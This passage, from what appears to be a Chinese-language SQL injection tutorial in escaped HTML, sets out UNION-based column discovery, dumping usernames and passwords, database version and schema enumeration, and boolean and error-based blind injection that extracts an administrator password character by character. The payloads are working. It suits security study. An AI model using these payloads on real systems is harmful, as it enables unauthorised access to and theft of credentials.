&lt;/div&gt;&lt;p&gt;这一系列负载会修改原始查询，使其按结果集中的不同列对结果排序。&lt;code&gt;ORDER BY&lt;/code&gt;子句中的列可通过索引指定，因此无需知晓任何列名。当指定的列索引超过结果集中的实际列数时，数据库会返回错误，例如：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ORDER BY位置编号3超出了选择列表中的项目数量。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;应用程序可能会在HTTP响应中直接返回数据库错误，也可能返回通用的错误响应，甚至可能仅返回空结果。无论哪种情况，只要能检测到&lt;strong&gt;响应中的差异&lt;/strong&gt;，就能推断出查询返回的列数。&lt;/p&gt;
&lt;p&gt;第二种方法是提交一系列&lt;code&gt;UNION SELECT&lt;/code&gt;负载，其中包含数量不同的空值（&lt;code&gt;NULL&lt;/code&gt;）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL,NULL,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;……
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;若空值的数量与列数不匹配，数据库会返回错误。&lt;/p&gt;
&lt;p&gt;我们将注入的&lt;code&gt;SELECT&lt;/code&gt;查询的返回值设为&lt;code&gt;NULL&lt;/code&gt;，原因是原始查询与注入查询的对应列必须数据类型兼容。而&lt;code&gt;NULL&lt;/code&gt;可&lt;strong&gt;转换为所有常见的数据类型&lt;/strong&gt;，因此当列数正确时，能最大程度提高负载的执行成功率。&lt;/p&gt;
&lt;h4 id=&#34;寻找数据类型可用的列&#34;&gt;寻找数据类型可用的列
&lt;/h4&gt;&lt;p&gt;SQL注入UNION攻击能让你获取注入查询的结果，而你想要提取的关键数据通常是以字符串形式存储的。这意味着，你需要在原始查询的结果中，找到一列或多列&lt;strong&gt;数据类型为字符串，或与字符串数据兼容&lt;/strong&gt;的列。&lt;/p&gt;
&lt;p&gt;在确定所需的列数后，你可以逐个探测每一列，测试其是否能存储字符串数据。你需要提交一系列&lt;code&gt;UNION SELECT&lt;/code&gt;负载，依次在每一列中放入一个字符串值。例如，若查询返回四列，你应提交以下负载：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT &amp;#39;a&amp;#39;,NULL,NULL,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL,&amp;#39;a&amp;#39;,NULL,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL,NULL,&amp;#39;a&amp;#39;,NULL--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; UNION SELECT NULL,NULL,NULL,&amp;#39;a&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果目标列的数据类型与字符串不兼容，注入的查询会触发数据库错误。&lt;/p&gt;
&lt;p&gt;若未出现错误，且应用程序的响应中包含了额外内容（其中包含注入的字符串值），则说明该列适合用于提取字符串数据。&lt;/p&gt;
&lt;h4 id=&#34;漏洞利用&#34;&gt;漏洞利用
&lt;/h4&gt;&lt;p&gt;当你确定了原始查询返回的列数，并找到可存储字符串数据的列后，就可以着手获取关键数据了。&lt;/p&gt;
&lt;p&gt;假设存在以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原始查询返回两列，且这两列均支持存储字符串数据；&lt;/li&gt;
&lt;li&gt;注入点位于&lt;code&gt;WHERE&lt;/code&gt;子句内的带引号字符串中；&lt;/li&gt;
&lt;li&gt;数据库中存在一个名为&lt;code&gt;users&lt;/code&gt;的表，包含&lt;code&gt;username&lt;/code&gt;（用户名）和&lt;code&gt;password&lt;/code&gt;（密码）两列。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在这个示例中，你可以提交如下输入，获取&lt;code&gt;users&lt;/code&gt;表中的数据：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; UNION SELECT username, password FROM users--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;要实施此类攻击，你&lt;strong&gt;需要预先知晓&lt;/strong&gt;数据库中存在&lt;code&gt;users&lt;/code&gt;表，且该表包含&lt;code&gt;username&lt;/code&gt;和&lt;code&gt;password&lt;/code&gt;列。若缺乏这些信息，就需要猜测表名和列名。不过，所有现代数据库都提供了查看数据库结构的方法，可通过这些方法确定其中包含的表和列。&lt;/p&gt;
&lt;h5 id=&#34;合并字符串&#34;&gt;合并字符串
&lt;/h5&gt;&lt;p&gt;有时候，不会所有列都返回或显示，这时候就需要将字符串合并起来，具体需要看是什么数据库。&lt;/p&gt;
&lt;p&gt;例如在 Oracle 数据库中，可提交如下输入：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; UNION SELECT username || &amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;~&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; || password FROM users--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里使用的双竖线&lt;code&gt;||&lt;/code&gt;是 Oracle 的字符串拼接运算符。注入的查询会将&lt;code&gt;username&lt;/code&gt;和&lt;code&gt;password&lt;/code&gt;字段的值拼接在一起，并以&lt;code&gt;~&lt;/code&gt;字符作为分隔。&lt;/p&gt;
&lt;h3 id=&#34;不同数据库的差异&#34;&gt;不同数据库的差异
&lt;/h3&gt;&lt;p&gt;详见：&lt;a class=&#34;link&#34; href=&#34;https://portswigger.net/web-security/sql-injection/cheat-sheet&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;SQL injection cheat sheet | Web Security Academy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对注释、查询等，不同的数据库会有不同的特定行为，需要根据需要更改。主要类型有：Oracle、Microsoft、PostgreSQL、MySQL&lt;/p&gt;
&lt;h3 id=&#34;数据库信息查询&#34;&gt;数据库信息查询
&lt;/h3&gt;&lt;p&gt;通过注入不同数据库厂商专属的查询语句，根据语句是否执行成功，来确定数据库的&lt;strong&gt;类型&lt;/strong&gt;和&lt;strong&gt;版本&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;以下是用于查询几款主流数据库版本的语句：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;数据库类型&lt;/th&gt;
          &lt;th&gt;查询语句&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;微软 SQL Server、MySQL&lt;/td&gt;
          &lt;td&gt;SELECT @@version&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Oracle&lt;/td&gt;
          &lt;td&gt;SELECT * FROM v$version&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;PostgreSQL&lt;/td&gt;
          &lt;td&gt;SELECT version()&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id=&#34;列出数据库中的内容&#34;&gt;列出数据库中的内容
&lt;/h4&gt;&lt;p&gt;多数数据库类型（Oracle 除外）都包含一组名为 &lt;strong&gt;信息模式（information schema&lt;/strong&gt; 的视图，这组视图会提供数据库的相关元数据信息。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Oracle 不使用&lt;code&gt;information_schema&lt;/code&gt;，而是通过内置系统表（如&lt;code&gt;all_tables&lt;/code&gt;查看表名、&lt;code&gt;all_tab_columns&lt;/code&gt;查看列信息）来获取元数据。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;例如，你可以查询&lt;code&gt;information_schema.tables&lt;/code&gt;来列出数据库中的所有表：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;information_schema&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tables&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该查询会返回类似如下的结果：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;TABLE_CATALOG&lt;/th&gt;
          &lt;th&gt;TABLE_SCHEMA&lt;/th&gt;
          &lt;th&gt;TABLE_NAME&lt;/th&gt;
          &lt;th&gt;TABLE_TYPE&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Products&lt;/td&gt;
          &lt;td&gt;BASE TABLE&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Users&lt;/td&gt;
          &lt;td&gt;BASE TABLE&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Feedback&lt;/td&gt;
          &lt;td&gt;BASE TABLE&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;上述结果表明数据库中有三张表，分别为&lt;code&gt;Products&lt;/code&gt;、&lt;code&gt;Users&lt;/code&gt;和&lt;code&gt;Feedback&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;随后，你可以查询&lt;code&gt;information_schema.columns&lt;/code&gt;来列出单个表中的列信息：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;information_schema&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;columns&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;table_name&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Users&amp;#39;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该查询会返回类似如下的结果：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;TABLE_CATALOG&lt;/th&gt;
          &lt;th&gt;TABLE_SCHEMA&lt;/th&gt;
          &lt;th&gt;TABLE_NAME&lt;/th&gt;
          &lt;th&gt;COLUMN_NAME&lt;/th&gt;
          &lt;th&gt;DATA_TYPE&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Users&lt;/td&gt;
          &lt;td&gt;UserId&lt;/td&gt;
          &lt;td&gt;int&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Users&lt;/td&gt;
          &lt;td&gt;Username&lt;/td&gt;
          &lt;td&gt;varchar&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;MyDatabase&lt;/td&gt;
          &lt;td&gt;dbo&lt;/td&gt;
          &lt;td&gt;Users&lt;/td&gt;
          &lt;td&gt;Password&lt;/td&gt;
          &lt;td&gt;varchar&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;盲注&#34;&gt;盲注
&lt;/h3&gt;&lt;p&gt;当应用程序存在 SQL 注入漏洞，但 HTTP 响应中&lt;strong&gt;不包含相关 SQL 查询的结果&lt;/strong&gt;，也&lt;strong&gt;不显示任何数据库错误详情&lt;/strong&gt;时，就会发生盲注。&lt;/p&gt;
&lt;p&gt;许多注入技术（如 UNION 攻击）在盲注漏洞中无法奏效，这是因为这些技术的核心依赖是能在应用响应中看到注入查询的执行结果。不过，攻击者仍可利用盲注获取未授权数据，只是需要使用不同的技术手段。&lt;/p&gt;
&lt;h4 id=&#34;布尔&#34;&gt;布尔
&lt;/h4&gt;&lt;p&gt;什么技术手段呢？一个例子是，根据返回的内容进行判断，例如分别注入：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;…&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xyz&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; AND &amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;…&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xyz&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; AND &amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;观察返回的结果，如果两个例子返回的不同，就可以根据返回结果来判断查询是否是有效的，我们能做的就很多了。你可以通过发送一系列输入，&lt;strong&gt;逐字符测试密码&lt;/strong&gt;，最终确定某项数据。&lt;/p&gt;
&lt;p&gt;操作步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先发送以下输入：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xyz&amp;#39; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &amp;#39;Administrator&amp;#39;), 1, 1) &amp;gt; &amp;#39;m
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;若返回成功，说明注入的条件为真，即密码的第一个字符大于 &lt;code&gt;m&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着发送以下输入：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xyz&amp;#39; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &amp;#39;Administrator&amp;#39;), 1, 1) &amp;gt; &amp;#39;t
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;若未返回成功，说明注入的条件为假，即密码的第一个字符不大于 &lt;code&gt;t&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最终发送以下输入，若返回成功，则可确认密码的第一个字符为 &lt;code&gt;s&lt;/code&gt;：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xyz&amp;#39; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &amp;#39;Administrator&amp;#39;), 1, 1) = &amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;重复上述过程，即可系统性地推断出 &lt;code&gt;Administrator&lt;/code&gt; 用户的完整密码。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SUBSTRING(查询的字符串，起始位置，截取几个字符)，在有些数据库里，又叫做 SUBSTR&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;条件&#34;&gt;条件
&lt;/h4&gt;&lt;p&gt;报错型 SQL 注入指的是：即便在盲注场景下，你仍可利用数据库返回的&lt;strong&gt;错误信息&lt;/strong&gt;，直接提取或推断数据库中的敏感数据。与布尔盲注的差别主要是,报错盲注会返回具体的&lt;strong&gt;报错信息&lt;/strong&gt;可供利用，或者只检查语句本身是否合法，而不检查语句是否为真。&lt;/p&gt;
&lt;p&gt;要理解这种技术的工作方式，假设依次发送两个请求，请求中包含的&lt;code&gt;TrackingId&lt;/code&gt; Cookie值分别为：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xyz&amp;#39; AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE &amp;#39;a&amp;#39; END)=&amp;#39;a
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xyz&amp;#39; AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE &amp;#39;a&amp;#39; END)=&amp;#39;a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这些输入利用&lt;code&gt;CASE&lt;/code&gt;关键字测试条件，并根据条件是否成立返回不同的表达式，具体逻辑如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一个输入中，&lt;code&gt;CASE&lt;/code&gt;表达式的结果为&lt;code&gt;&#39;a&#39;&lt;/code&gt;，不会触发任何数据库错误；&lt;/li&gt;
&lt;li&gt;第二个输入中，&lt;code&gt;CASE&lt;/code&gt;表达式的结果为&lt;code&gt;1/0&lt;/code&gt;（零除运算），会触发&lt;strong&gt;除零错误&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果该错误会导致应用的HTTP响应产生可识别的差异（如返回500错误页、弹出提示信息），你就可以借此判断注入的条件是否成立。&lt;/p&gt;
&lt;p&gt;借助这种技术，你可以通过&lt;strong&gt;逐字符测试&lt;/strong&gt;的方式提取数据库中的数据，例如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
